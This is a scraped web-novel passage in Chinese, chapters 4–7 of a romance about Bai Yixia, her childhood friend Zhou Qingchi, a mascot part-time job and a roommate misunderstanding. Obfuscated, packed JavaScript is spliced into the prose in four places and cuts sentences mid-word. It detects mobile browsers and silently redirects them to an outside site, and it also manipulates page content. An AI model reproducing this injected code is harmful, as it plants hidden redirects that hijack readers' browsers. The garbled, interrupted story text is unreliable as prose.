柏以夏深吸一口气,冷漠地回了她一个表情。 -啵一下:[微笑.jpg] -- 柏以夏家离学校快两个小时的路程,两人走时正巧遇上晚高峰,等到家的时候已经是快八点钟了,两人饿得前胸贴后背,停了车就迫不及待地往家里走。 柏以夏、周清池和聂嘉沅的父母是初中同学,几人的关系出奇得好,后来几人前后成家,买房也都扎堆在一起。这所小区是一梯两户,柏以夏和周清池住对门,聂嘉沅住楼上。 “妈妈!我回来啦!”一开门,柏以夏就扑进母亲的怀里,撒娇似地蹭了蹭她的脸颊。 周清池轻笑一声关上门,调笑道:“林姨您当心点,小夏路上说饿得要吃人了,我怕她一会儿就朝您动嘴了。” 林舒漾好笑地揉了揉柏以夏的头发,也和周清池一起开玩笑:“哎呦,妈妈的乖宝宝,咬一口也没事儿。” 厨房里阿姨探出半个脑袋,也跟着笑:“吃什么人哟,这儿饭菜马上热好了,夏夏和小池快去洗手。” 周清池先一步进了厕所,柏以夏挽着林舒漾的手腻歪,“妈妈妈妈,好想你。” 林舒漾笑道:“上周不是才回家?” “那也想你嘛~”柏以夏一贯的嘴甜。 林舒漾捏了捏她的脸,“好啦,去洗手吃饭,不是说都要饿死了嘛。” 本来按柏以夏自己的计划,是能准时到家和家人一起吃晚饭的,但没想到卢茜那会出问题。家里的菜是单独留给他们俩的,热气升腾带起食物的香味,让人食指大动。 柏以夏中午本来就是随便对付的,一下午过去,肚子里那点东西早就消化完了。周清池下了最后一节课直奔高铁站,根本没来得及吃午饭。两人真是被饿到了,一时间餐桌上只有碗筷碰撞的声音。 林舒漾端了杯水坐到柏以夏旁边,问道:“夏夏,你下午给我发消息还说保证能准时回家吃饭,出什么事耽误啦?” 坐在对面的周清池正啃着排骨,闻言停下嘴上动作,抬眼看向柏以夏。 柏以夏筷子在嘴巴边上晃了一下,“噢”了一声,“其实也没什么,有室友没有带钥匙,我回去开门啦。如然后就多聊了几句,”她嘿嘿一笑,“就把时间聊忘了。” 林舒漾抬手隔空点了点她的鼻尖,笑骂道:“多大人了。” 周清池却没发言,他和柏以夏从小一起长大,算上待在学校里的时间,几乎要比父母还长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138949|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一眼便看出她没说实话。但对面的柏以夏捧着碗挡在面颊前,只露出一双圆溜溜的眼睛看着他,求饶一般皱着眉头,可怜巴巴的。 于是周清池便垂眸继续啃排骨,听着柏以夏和林舒漾聊天。 吃到一半的时候柏以夏家的门被敲响,敲门那人是个性格急躁的,连敲了好几下都没停下。 周清池拦住打算起身开门的林舒漾,走到门前,锁舌刚开门便被那人大力拉开,少年清朗的声音闯了进来,“夏夏姐!我放学了,咱们这周能打——哥哥哥哥哥哥!” 周清衍一拉门就看自己亲哥杵在门口,脸上的表情谈不上难看,反倒是带着些笑意。他默默咽了一口口水,小心翼翼地问道:“哥,你怎么回来了?” 周清池若有所思地看着他,把他看得鸡皮疙瘩起了满身,这才缓缓开口,“我再不回来,我弟弟就要变成老母鸡了。” 说完,他偏头看向屋内的柏以夏,问询道:“小夏,咱们母校有开设动物语吗?” 等着看戏的柏以夏被他这句话问得险些被米呛到,她猛灌了一口水后开始哈哈大笑起来。 门口的周清衍无语地朝自己哥哥翻了个白眼,而后不禁担忧地想到:我哥这个嘴巴,自己舔一下都能被毒死,真的能给我讨到嫂子吗? 柏以夏三两下吃完最后几口饭,朝周清衍招招手,“小衍,我这周不能陪你玩啦。” 周清衍愣了一下,又看了一眼周清池,恍然大悟地点了点头,“没关系的夏夏姐,我哥回来了你是要陪我哥玩,我不打扰你们。”他抬手摸-摸鼻尖,“嘿嘿,你把游戏机借我就好。” 他这一句话换来两个人的怔愣,柏以夏瞬间僵硬起来,眼神不敢往周清池那边偏一点,生怕周清池察觉到什么。 林舒漾和阿姨在厨房里交流明天的午餐,客厅里三人一下没了话说。 周清衍疑惑地挠了挠头,看着柏以夏烧起来的耳朵尖,道:“空调开太高了吗?夏夏姐你看起来好像有点热。” 柏以夏没辙了,她扒拉着周清池的衣摆,控诉道:“小周哥,你快把小衍带走,我一想到他害我掉的段位就生气!” 一周没碰过游戏的周清衍缓缓在脑袋顶上打出几个问号,还没等他给自己正名就被周清池一个眼神送回原位。他嘴巴张合了两下,最后认命地领了这口大锅,“我的错,可是我——” 柏以夏倏地扭头看着他,眼中都是恳求,周清衍磕巴了一下,“可是我觉得我很厉害来着。” 周清池凉凉地回复他,“你小时候也觉得自己煮饭很厉害,然后我第一次领会到了凌晨三点急诊的人流量。” 周清衍讪讪地闭嘴了,他往后退了两步,“算了我先回家了。哥你一会儿回来吗?” “不回。” 周清衍纳闷,“那你今晚睡哪?你定酒店了?” 周清池这下是真没忍住,他转过头看了看弟弟的表情,确认他是真的在疑惑时,他脸上的表情一下子变得空白,伸手指向面前的茶几,“我晚上睡这。” “啊?” 柏以夏埋在沙发抱枕上笑得肩膀一抖一抖,耳朵上的红好不容易褪干净了,眼尾又染上了一层。她好笑地擦着笑出来的眼泪,对周清衍道:“你哥他回家呢,你就先不关门了。” 周清衍这时候才反应过来自己问了什么蠢问题,这下一句话也不乐意说了,飞速跑回了对门。 周清池无奈地摇摇头。 “小周哥。”柏以夏喊道。 周清池回头看去,柏以夏盘腿坐在沙发上,换了个毛绒绒的玩偶抱着,脸颊蹭在上面,磨出一点粉色。她弯着眼睛笑意满满,道:“明天要不要和我去约会呀?” 5. 第五章 (二更)千层酥 周末的游乐场热闹非凡,从开园起就要源源不断的顾客往里走。周清池看着一对父母牵着自家小孩走进园区里,又扭头看向睡意朦胧的柏以夏。 她今天没多在自己身上费心思,被母亲从床上薅起来后从衣柜里随便抓了两件衣服套上就出门了。头发在脑后扎了一个俏皮的小啾啾,穿着一件白T配一条淡蓝色的阔腿休闲裤,随意得不能再随意了。 柏以夏揉揉眼睛,人潮的喧闹总算将她的瞌睡吵走了大半,醒神到一半她恍惚间想起自己昨天晚上只邀请了周清池来“约会”,却没告诉他具体内容是什么。 她心虚地低咳一声,扭头想去弥补自己的失误,却在看见周清池时眼睛一亮。 他今天穿了一件薄荷绿的半袖卫衣,本来垂悬的两条抽绳被人系成了两个小蝴蝶结,和他本人的气质格格不入,但又带来一丝俏皮。 不过这都不是柏以夏惊喜的原因。让她另一半瞌睡跑掉的是——这又是一件“柏以夏严选”。 周清池被柏以夏盯得有些不自在,抬手扒拉了两下自己的头发。 要是柏以夏没沉浸在“暗恋对象又穿了自己给他选的衣服”这种小小的惊喜中,她应该能发现周清池今天破天荒地做了发型。 “小夏?”周清池轻声唤她。 柏以夏登时长吁短叹,恨不得能直接翘班带着周清池在园区里畅玩一天。但她知道这样会给负责人添麻烦,只能双手合十在身前,朝周清池拜了拜。 “小池哥哥对不起!”她额头抵在指尖上,“我昨天好困好困忘记给你说了。今天是来这里兼职的,约会是我胡咧咧的。” 柏以夏说完,心里直打鼓。虽然从小到大周清池从来没有因为任何事情责备过自己,但今天这事确实是自己做错了。 要是小周哥今天骂你一顿也是你罪有应得了柏以夏。她闭着眼睛等待对方宣判罪名,却只等来头上被人狠狠地揉了一把。 周清池弯着眼睛笑道:“你早就安排好周末了吧?是我突然回来打搅了你。” 这哪能是打搅呢!这分明是福利啊!柏以夏在心里大声嘀咕。 两人不在同一所大学,虽然两省距离不算远,高铁三四个小时就能到,但平常都忙于自己的课程,能见到面的时间少之又少。 但既然周清池都这样说了,柏以夏便没再道歉,只遗憾地垂着头,小声嘟囔道:“好不容易和你单独来这里……” 九月的天气,早上八点过就隐隐有些燥意了,柏以夏想到距离寒假还有近五个月,心比天凉。 但叫她没想到的是,身旁的周清池听见了她这句话,拉着她的手往园区内走,“这有什么,下次我们把聂嘉沅丢一边去,自己来玩。” 柏以夏心脏狠狠跳了一下,她抿着嘴不住地点头,心里不断地给聂嘉沅道歉。要不是周清池现在拉着她,她都直接给聂嘉沅打一通电话过去。 当然,会被她狠骂一句“恋爱脑”。 这爱都没恋上呢,算什么恋爱脑?柏以夏不顾聂嘉沅死活地想着。 走在前面的周清池突然停下脚步,回头道:“小夏老师,马夫一号很高兴为你服务,但是接下来应该往哪边走?” 柏以夏赶忙从自己不着边际的脑洞里脱身,掏出手机一只手费劲地划拉着消息。 周清池见她动作别扭,正要松手,柏以夏这时却朝他举起手机,与他相握的那只手紧紧一拉,“找到啦,走左边这条路。” “好。”周清池应了一声,目光又落到两人的手上,脚步迟缓了许多。 柏以夏不知道他在想什么,晃了晃手,玩笑道:“小周老师,马夫体验券只到刚刚那儿吗?” 周清池轻哼一声,“本来是的,但是今天做亏本买卖,多送你一段路程。” 到店的时候还没到八点半,负责人端着一套厚重的玩-偶服在门口等着柏以夏。见是两个人过来,负责人疑惑地问道:“我记得说是一个人来着?” 涉及到正事上柏以夏从不马虎,她撒开周清池的手凑了上去,“是我是我!” 负责人点点头,刚想把玩-偶服递给她,瞥见她细白的胳膊,又迟疑道:“这样的玩-偶服有点重,你能行吗?” 柏以夏哪能不行?小时候家里的大人怕几个小孩遇到危险,齐刷刷地丢进了跆拳道馆,更不要说柏以夏现在喜欢摄影,常常端着沉重的相机就是几个小时。 她拍拍胸脯,“姐姐你放心好了,我知道这个重,但也是知道自己几斤几两才来的,保证不会出什么问题。” 负责人见她神色认真,不像是在说谎,就爽快地将东西交给她,又嘱咐了几句要做的事情后就进店了。 玩-偶服直接套在身上就行,也是知道这样柏以夏才特地穿了一条便于行动的长裤。 周清池端着玩偶熊的脑袋站在一边看她快速将身体套上,纳闷道:“你怎么突然想来做这个兼职?”报酬不算丰厚,但保证累人。 “我好奇嘛,正好周末也没事情做,就来试试。”柏以夏接过熊头,朝他一笑,“放心好啦,这个兼职分了上下班,我只做半天的。” 说完拍了拍熊头,将它正面朝外举在自己脸颊边上,示意周清池给自己拍一张照片,“我倒要看看,结束的时候会有多狼狈。” 周清池配合地举起手机。这套玩-偶服是一只戴着黄-色围裙的粉色小熊,面部做得很可爱。柏以夏隔着点距离和它贴贴,眼睛比塑料球做得假眼睛还要亮,周清池一时有些怔愣,等回过神的时候,手机里连拍了十几张照片。 十几张照片里柏以夏都是一个动作,只有一张抓拍到了她闭眼时的样子。柏以夏老师很会表情管理,不仅没拍出丑照来,还把周清池乖得一时失了神。 照片里柏以夏微微偏着脑袋,嘴唇抿起微扬,眼睛轻阖,阳光落在她的脸上,睫毛照得金灿灿的,像个洋娃娃一样。 周清池手指从照片上划过,在柏以夏脸上停留了一瞬。 “小周哥。”柏以夏突然喊道。 周清池差点手抖将这张照片删了,他抬头看去,“怎么了?” 柏以夏已经把熊头带上了,声音闷闷地从头套下传出来:“我的工作时间到下午两点呢,你在这里干坐着好无聊的,要不要自己去玩一下?” 玩-偶套装穿在柏以夏身上很合适,冒出来的熊脑袋比周清池稍微矮几厘米,他拍了拍熊脑袋,拒绝了这个建议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138950|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不要,一个人玩好无趣,我在那边坐着看你就好。” 他说到做到,除了中途去买水和扇子之外,真就一直坐在一边看着柏以夏工作。 这个兼职听起来简单,只要站在店门口朝路过的游客招招手,卖卖萌,时不时地和被家长推出来索要气球的小朋友互动几下就行。但是穿着厚重不透气的服装,不光活动起来有阻力,更是热得柏以夏在头套里频频叹气。 接近中午的时候天上一朵云都没有,柏以夏也不好躲到阴凉处偷懒,只能在烈阳下卖力地扭扭屁-股,晃晃脑袋招揽着客人。 等到人流量稍小一点的时候她终于有了休息的时间。周清池连忙上前拉着熊爪带着她到一边的木椅上坐下,谁知熊屁-股太大根本坐不下去。 柏以夏累得不行,哼哼唧唧地往周清池身上靠。 周清池叹着气替她摘掉头套,早上元气满满的柏以夏已经焉耷耷的了。头套里面闷热得厉害,她小脸闷得通红,刘海已经汗水粘在额头上了,脖子上全是细密的汗珠。 她这副样子看得周清池心疼不已,拿着扇子给她轻轻地扇着风,但气温高,带起的风也热乎乎的。柏以夏怏怏地抬手阻拦了一下。 周清池低声问道:“要不要喝水?” 柏以夏已经刷一下亮了起来,忙不迭地点了点。但很快就有了新的问题,熊爪实在是不好拿起水瓶,柏以夏试了好几次,差点将水瓶推到。 她一上午都没怎么开口说话,但因为劳累,声音还是有些哑,“小周哥,我拿不起来,好渴好渴。” 周清池握着她的肩膀,安抚道:“你先别动,我拿着你喝。” 柏以夏一瞬间诡异地沉默了。 “小夏?”周清池疑惑道。 这几秒里柏以夏心里的烟花已经炸了第二轮了,她堪堪掩饰住自己的激动,矜持地点点头,“好。” 考虑到天气热,周清池买的是冰镇汽水,他攥着瓶身微微倾斜,盯着柏以夏喝了好几口后才满满放缓。 凉丝丝的感觉让柏以夏松快了不少,又恢复了活力,她叹了一口气,“想过会累,没想到会这么累。感觉身体里的水分全部都流干了。” “小周哥你饿了——”柏以夏紧急闭了嘴,周清池的手带着水汽搭在了她的额头,试探地摸了摸。 “小周哥?” 周清池暗暗松了一口气,“有没有不舒服?我好怕你中暑了,今天太热了。” 好在柏以夏的脸已经红得不能再红了,她不自然地舔了舔嘴唇,偏开脑袋,“没事的,我感觉还好。” “把脸转过来,我给你擦一擦。”周清池扯出两张湿巾,道。 柏以夏在矜持和享受之间挣-扎了两秒,毫不犹豫地将头转过去,卖乖地朝周清池笑了笑,嘴甜道:“小周哥,你对我真好。” 周清池捏着湿巾轻轻地在她脸上擦拭着,闻言垂眸看了她一眼,湿巾挪到她的鼻尖,动作极轻地点了一下,“我什么时候对你不好了吗?” 柏以夏被这句话说的愣住了,等带着凉意的湿巾离开脸颊,她才偷偷摸摸地笑了起来,看着周清池的背影默道,就是因为你一直对我这么好,我才那么喜欢你。 6. 第六章 (三更)青提柠檬挞 午后的日光更甚,但柏以夏硬是撑到了交接的时间点才脱下玩-偶服。 这家店是卖甜点冰激凌的,这个点游客要么选择去继续玩,要么就坐在室内躲热,店里位置几乎被占满了。 要不是周清池早前找了个位置,这会儿柏以夏连坐的地方都没有。 她去后面还了服装,顺便洗了一把脸,找过来时睫毛上还沾着水珠。 柏以夏刚坐下面前就被周清池放了一盒冰激凌球,她惊喜地看过去,周清池摊手朝她示意一下,“小熊辛苦了,是该享受一下。” “真的说累了。”柏以夏摇摇头,弯起眸子,“你真是太好了小周哥。” 周清池笑了笑:“尝尝,我挑的都是你喜欢的口味。” 柏以夏往盒子里一看,果然堆着三个圆滚滚的小雪球。她拿起勺子,“那我就不客气啦!” 周清池看着她吃得脸颊鼓鼓的样子,眼中的笑意更盛。 从洗手间会后来,柏以夏就给自己扣了一顶帽子。毕竟工作是工作,生活是生活,美女也还是有包袱的。 人不能,至少不应该在暗恋对象面前顶着一头汗湿的脑袋。想到这里,柏以夏拿着勺子的手一颤,之前在外面的时候,自己到底顶着什么样子在周清池面前啊? 咔嚓—— “嘶。”柏以夏低呼了一声,在周清池的目视下从嘴里吐-出几片勺子碎片。 周清池和她茫然对视三秒,然而无奈地摇摇头,“小夏,答应我,要是有天丧尸病毒来袭,先去咬别人好吗?” 太丢脸了。 柏以夏迅速低下头,被热出来的脸红好不容易消下去,又因为尴尬而红了起来。但好在她从来不是内耗的人,花了半分钟就接受了自己在周清池面前出丑的事实。毕竟即便没有今天的事,周清池也早就见过了她各种样子。 谁让他们是一起长大的。 正胡思乱想着,帽檐被人抓住轻抬了一下。柏以夏顺着力道看去,周清池已经站起身了,弯着腰看她:“我去给你拿一把新勺子,还有什么想吃的吗?” 这句话简直是问到柏以夏的心里了,她选择在这里兼职的其中一个原因就是想吃这里的甜品。 只是还没等她将名字说出来,身旁便凑过来一个人,“不好意思,打扰你了,我是下午的——柏以夏?” 柏以夏闻声抬头,有些惊讶地看着眼前人,“卢茜?”她迅速地反应了一下,“你是下午场的兼职?” 比起柏以夏的惊讶,卢茜看起来更像是不悦,她抿了抿唇,很低地嗯了一声,别扭地说道:“钱姐让我来找你拿一下那个系带。” 钱姐就是那个负责人。柏以夏一开始还没想起来是什么系带,“啊?” 卢茜板着脸在自己脖子前面比划了一下,“就是小熊面前的那个蝴蝶结。” “噢噢,那个呀。”柏以夏站起身往自己的裤兜里摸,解释道,“结束的时候不知道怎么回事它松了,我就揣自己兜里了。” 把系带递给卢茜的时候柏以夏突然想起来那个头套戴着不是很舒服,于是补充道:“对了,那个头套顶上有一块儿很硬,你拿纸或者毛巾垫一下,不然会很疼。” 说着说着,柏以夏想起自己被压出一个窝的头发,忍不住笑了下。谁知卢茜就像是触发了什么机制似地脸色一变,将系带从她手中粗鲁地抓过去,寒声道:“很好笑吗?” 柏以夏被她突然转变的态度弄得一头雾水,但还是回答道:“有点吧。”尤其是周清池还蔫坏地给她拍了一张照片,简直不忍直视。 卢茜霎时眼里一片寒光,她冷笑一声偏过头,嘴巴嚅嗫了两下,似乎是顾虑到周清池还在边上,她没说什么难听的话,自嘲道:“是,比起你们,我确实很可笑。” “什——”柏以夏明白了她的意思,连忙解释,“我不是笑你,是笑我自己。” 见卢茜不吭声,柏以夏朝一旁的周清池递去一个求助的眼神。 周清池及时开口道:“我去拿东西,不打扰你们说话。”他看向卢茜,指了指自己的位置,“同学,你坐这吧。” 卢茜哪里还愿意坐,她攥着系带就要走,但柏以夏力气比她大一点,硬抓着她的胳膊把她按在了座位上,自己也挨着她坐在旁边。 开口说话之前,柏以夏在脑子里打了好几遍草稿,但扭头一看卢茜黯淡的表情,她还是把那些尖锐的话咽了回去,只问道:“卢茜,你是不是对我有很大的意见?” 这下卢茜的反应比刚才还大,她刷地抬起头看着柏以夏,难以置信地回道:“我对你意见大?难道不是你先、你先看不惯我的吗?” 这倒是莫须有的事情了,柏以夏皱着眉,“怎么会?我没有这样说过吧。” “你是不用说什么,反正她们俩个会给你说话。”卢茜冷哼了一声,又把头低下去,很小声地说着,“说我吵着你,说我开灯晃着你,明着说,暗着说,话里话外都是我打扰到你了。” 她们俩指的就是白易安和陈宛宜了,柏以夏迷茫地回忆了一下,实在没想起来什么时候她们说过这些话,“卢茜,你是不是误会什么了?” 柏以夏和卢茜的确有时间上的冲突,但她个人觉得并没有严重到两相生厌的地步。 卢茜道:“误会?我能误会什么?你们就是看不起我,看不惯我……” 也许是昨天的事情刺-激到了卢茜,她今天的话显得格外多,情绪也激动了不少,她眼眶发红,恨恨地看着柏以夏,“你们做什么事情从来都不叫我,也不和我说话。每次我回到寝室的时候,在门外明明都听见你们的声音了,但一进去你们就不说话了。” “还有你,一开始就不愿意和我说话,我明明很想和你说话的。” 卢茜是个不善表达的人。柏以夏看着她眼中带泪的模样,突然想起刚入学时的事情。 那天到校报道,柏以夏是第二个到寝室的,她推门进去的时候,卢茜正握着手机打电话。她那会儿用的是型号很老的一款智能机,声音泄露得严重,柏以夏能很清楚地听见和她打电话那人的声音。 是卢茜的妈妈,粗砺的嗓音在电话那头恶狠狠地数落着她,抱怨她浪费了家里的钱,发狠话说不会给她大学的生活费。 那时候卢茜看起来还很青涩,穿着一件发白的蓝色T恤,茫然地对着话筒喊了一声妈,却只换来挂机的声音。她无措地垂下手,看向柏以夏的眼神带着局促。 柏以夏浑身一震,她以为卢茜是觉得尴尬,自以为很善解人意地背过身去整理行李,却没看见卢茜茫然失落的表情。 “我、我没有……”柏以夏想起当时的事情就觉得头疼,她不想辩解自己当时的行为是为了维护卢茜的自尊心。毕竟这件事再提,也不过是又一次地揭开卢茜的伤疤。 于是她握住卢茜的手,神色认真地说道:“我真的没有!那会儿觉得自己偷听到了别人打电话,觉得自己好过分,不敢和你说话。”她半真半假地编了两句话。 “后来军训过后才知道我们不是一个专业,你又总是很忙地在兼职,我和小白小宛根本找不到你空闲的时间。”柏以夏懊恼地说着。 那会儿她们三个总是想着卢茜不方便,可能不会接受这些费钱的聚餐邀请,就自作主张地替别人拒绝了。 很好,原来霸总小说里不长嘴的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他将两份小蛋糕放到桌子上,轻声道:“我不知道你的口味怎么样,就先点了一份和小夏一样的。” 卢茜本来还想偷偷摸一把柏以夏帽子上的小猫耳朵,突然听见周清池的声音,吓得她险些跳了起来。旁边的柏以夏倒是露出一副惊喜的表情,端着蛋糕盘子给她安利:“噢!是我最想吃的那个口味!茜茜你尝尝吧,很好吃的。” 卢茜对周清池感谢地笑了一下,拿着小叉子小心翼翼地尝了一口,眼睛亮了亮,“好吃。” 柏以夏满意地晃了晃脑袋,眯着眼睛道:“小周哥,你怎么知道我想吃这个?” 周清池托着下巴坐在对面,笑意盈盈地看着她,轻哼一声:“谁知道呢?或许我住在朋友圈吧。” 他们两人之间有一种插不进去氛围,卢茜坐在一边默默地吃着蛋糕,听着他们幼稚地闹嘴。直到手机消息响了一声,卢茜才恍然回过神,她三下两下解决完小蛋糕,扯了扯柏以夏的衣袖,“夏夏,我要去工作了,我们学校见。” 柏以夏一路跟着她走到员工间门口才停下了,“下午还是很热,你要注意避暑。” 卢茜点点头,道:“我知道了。谢谢你愿意原谅我,蛋糕很好吃,替我谢谢你男朋友。” 柏以夏一愣,耳朵里只听进去了“男朋友”三个字,她瞬间就红了耳朵,摆着手解释:“不是不是,他不是我男朋友。” 这是卢茜没想到的,她见周清池看着柏以夏的眼前,那么认真和温柔,就先入为主地以为他们俩是情侣。她刚想说自己的想法,就听见柏以夏傻笑着说道:“不过,我确实喜欢他。” 这是他们两人之间的事情,卢茜觉得自己突兀地说出“他看起来也喜欢”这话会有些冒昧,更何况她只和那个青年相处了短短几分钟。她将话咽了回去,道:“那希望你能得偿所愿。和他也好好说说话吧,像和我一样。” 7. 第七章 酸辣土豆丝 好好说说话。 回程的路上柏以夏一直在琢磨这句话,偶尔瞄几眼驾驶座上的周清池。 半晌,柏以夏默默地叹了一口气。周清池和卢茜是不一样的,卢茜对她而言只是才认识一年的室友,朋友,她们之间的矛盾不算大,也确实是因为沟通不当造成的,话说开了,基本上就什么都解决了。 毕竟又不是什么深仇大恨,能复杂到哪去? 可周清池不一样。这个人是和她一起长大的发小,他们认识已经二十年了。柏以夏不敢相信自己要是一时脑袋不清明,激-情告白,而周清池又没有这个心思,他们两个人之间会有多尴尬。 史诗级大片——敲不开的对门。 啊啊啊啊啊。柏以夏在心中哀嚎,面容扭曲了一下。 “那个同学就是你昨天连着两次忽视我的‘罪魁祸首’?”周清池冷不丁地开口道。 柏以夏赶忙端正表情,“是。我们之间有一些误会,好在刚刚已经说开了。” 周清池一副果然如此的表情:“我就知道,没什么人是你相处不好的。” 在幼儿园时期,柏以夏就展现了她惊人的交友天赋,第一天进幼儿园上午还哭哭闹闹地舍不得爸爸妈妈,下午阿姨来接人的时候就看见她身后跟了一串小朋友。 柏以夏得意地哼哼两声,对自己的认知十分清晰,“是的,小夏老师就是这样一个阳光开朗的小女孩~没有人可以拒绝~” 周清池捧场道:“哇哦~不愧是小夏老师。” 他借着转弯的时机,偷偷将目光放在柏以夏身上,看见她坐在副驾驶上得意洋洋地叉着腰,微微扬起的小脸上满是笑容,也不禁更开心起来,心里有一种诡异的满足感。 回程的时间大概一个多小时,柏以夏今天起得比平常要早一些,又累了一上午,缩在位置上嘀嘀咕咕地说了一堆话后就脑袋一点一点的。 周清池调高她那边的空调温度,轻声道:“小夏,睡一会儿吧。” 柏以夏困得眼睛都要睁不开了,周清池的话此刻就像蚊子一样嗡嗡的,她疑惑地嗯了一声后就闭上了眼睛。 周清池有些好笑地看了她好几眼,等红灯的时候从后座拿过早上带着的外套披在她身上,收手时手指蹭过她的脸颊,小声道:“柏以夏……小夏……” 柏以夏对这些一无所知,等她迷迷瞪瞪地醒过来时,车已经开到了小区门口。她疑惑地看向周清池,“怎么停在这儿呀?不回家吗?” 她整个人睡得晕晕乎乎的,脸颊粉粉的,因为刚睡醒,说话带着些鼻音。 听她说回家,周清池眸光轻闪。不光现在,周清池常常会因为柏以夏的一些行为或言语觉得心软成一片,就好像柏以夏天生就懂得如何让人感到高兴一样。 他抱歉地看向柏以夏,“我昨天答应我弟,要带他去吃什么披萨来着,今天就不去你家蹭饭了。” 姜英华很忙,周清池又在另一所城市上大学,周清衍活得像个留守儿童一样。想到这一茬,柏以夏即便有些失落,但也理解地点点头,甚至主动道:“等晚上回来之后,你告诉小衍我不生气他很菜了,他平时还是可以来找我打游戏的。” 说完这句话,柏以夏不知道是不是自己的错觉,小周哥的脸色好像黑了一点。 周清池没直接替周清衍拒绝,只是说:“希望他不要再气到你。” 柏以夏:0.0 其实是小衍带她起飞噢。 但昨天撒过的慌柏以夏记得很清楚,也不想现在就暴露,于是只能打着哈哈将这件事翻过篇去。 周清池的补习班差不多也是这个点下课,柏以夏掐着点下了车,趴在车窗边上朝周清池挥挥手,“那你开车小心噢。和小衍玩得开心。” “嗯,晚上见,小夏。” 柏以夏在这边长吁短叹,不知道那边周清池接上周清衍之后说的第一句话是,“你平常和小夏都玩的什么游戏?” 周清衍放书包的动作一顿,挠了挠自己的脸,他也还记得柏以夏昨天晚上朝他眨眼的模样。不知道夏夏姐和自己哥哥消息对到哪种份上,只能含糊其辞道:“就,市面上那些比较出名的游戏啊,我们都会玩一玩。” 见周清池没反应,周清衍往前靠了靠,打探道:“怎么了哥?夏夏姐也找你玩了吗?” 周清池没理会他的问题,只道:“既然玩团体性质的游戏,就练好一点,不要总是拖队友后腿。” 经常一拖四进决赛圈的周清衍有苦说不出,但想到今天晚上的晚餐和柏以夏家天天提供的宵夜,只能憋屈地点点头。 兄弟俩说完这些就没什么话题要说,直到到了餐厅,周清池幽幽开口道:“你最近,和小夏在玩什么游戏?” -- 柏以夏往家里走的路上恢复了元气,端着手机骚扰聂嘉沅,“你说,我直接表白被拒绝的可能性有多大?” 聂嘉沅已经习惯了她十次联系八次都离不开周清池,淡定地敷着面膜看着剧,思考了不到一秒便回复道:“难说啊夏,主要是我们周其实很少显露出情感波动啊。” 她说到这里似乎是突然来了性质,往镜头面前一凑,道:“说起来,上一次见周清池情绪激动还是高中的时候,为了什么来着?” 周清池的事情柏以夏记得都很清楚,她张嘴就来,“狗。路上遇到有人遛狗不牵绳,差点咬到我。小周哥可生气了。” 聂嘉沅突然诡异地沉默了一会儿。柏以夏没注意到这个,她回想起当时的情况,不禁打了个哆嗦,“你别说,当时狗嘴离我就一手掌的距离,要不是小周哥,咱们俩就喜提半永久牙印纹身了。” “而且小周哥好像本来不太喜欢大狗,之前小衍也差点被狗咬。” 聂嘉沅脸色缓和下来,往后一退又老神在在地靠到椅子上,唏嘘道:“小衍真是多灾多难啊。” “啊?”柏以夏没明白她的话。 “没什么。老周呢?他没和你一路?”聂嘉沅没打算把自己刚才莫名闪出来的猜测告诉柏以夏。 主要是真怕她激情告白:D 柏以夏道:“他带小衍去吃饭啦。” 聂嘉沅面膜下的表情扭曲了一下,默念道:“还真是怕弟弟饿死啊?” 柏以夏被她皱起来的面膜难受到了,手指在屏幕上滑了滑,似乎是想替她推平褶皱,但毫无作用。好在聂嘉沅很快就自己掀下了面膜。 她最近好像在熬夜做什么,眼下的黑眼圈有点重,看起来也有些疲惫。柏以夏暂时将周清池抛到脑后,关切地问道:“嘉嘉,你看起来好累哦。最近怎么了吗?” 聂嘉沅轻拍着自己的脸,闻言倒是笑起来了,她朝柏以夏眨眨眼,“是有点,但没什么大事。邱汀的生日要到了,我给他搞惊喜呢。” 柏以夏瞬间露出了吃瓜的表情,但紧接着又皱起鼻子,不满道:“他命真好。”暗落落地暗示着,“我生日的时候你都没为我熬夜。” 说完,又觉得特别想聂嘉沅,于是凑近镜头,可怜兮兮地说道:“嘉嘉姐姐,十一回来吗?还是要和那个谁去旅游呀?” 聂嘉沅被她逗笑了,摸了摸镜头权当摸她脸了,“当然是要回来啦。见见我们夏夏宝贝,记得来接驾。” 两个人都是女孩子,关系比和周清池要更加亲密,从小到大就像是黏在一起一样。两人就这样不着调地聊了好一会儿,直到柏以夏妈妈从公司回来在楼下捉到了她,才依依不舍地挂了视频。 “在楼下喂蚊子呢?几步路都不乐意走啦?”林舒漾笑道。 柏以夏黏黏糊糊地挽着母亲的胳膊,她们俩差不多高,柏以夏和母亲脑袋抵着脑袋,亲热地挨在一起,“妈妈,赚钱好累。” 林舒漾不明所以地拍拍她的脑袋,“缺钱啦?” 柏以夏摇摇头,说了太久话之后,她又觉得疲惫起来,回家之后简直想直接扑到床上大睡特睡,但路过厨房时却脚步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 